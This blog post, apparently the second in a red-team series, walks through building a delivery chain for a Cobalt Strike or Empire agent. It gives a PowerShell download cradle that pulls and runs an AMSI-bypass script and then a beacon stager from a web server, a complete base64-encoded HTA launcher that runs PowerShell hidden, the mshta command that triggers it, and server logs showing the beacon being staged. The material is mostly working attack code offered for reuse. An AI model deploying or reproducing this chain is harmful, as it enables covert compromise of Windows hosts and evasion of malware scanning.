In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.
In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop - it’s a demonstration of how I walked through engineering the final result.
So, let’s get cracking.
Before we start, we have a few goals in mind:
For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple :)
We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.
For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type
to make it available within the PowerShell session.
We’ll then test it out by downloading and executing it, then running the stager that failed earlier.
All good so far.
Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable()
function where it returns an int
of 1
if something fails and 0
if it makes it to the end.
So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }
. If bypass
returns 1
, we naturally don’t do anything more.
To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.
$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))
The final HTA is nice and small.
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
End Function
var_func
self.close
</script>
Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta
.
The web logs show us exactly what we expect.
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /amsi-bypass
page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
null
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /stager
page Serves /opt/cobaltstrike/uploads/stager.ps1
null
10/31 11:22:44 visit from: 192.168.214.1
Request: GET /__init.gif
beacon beacon stager x64
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Awesome sauce. And for those who want it, I also uploaded the code to GitHub.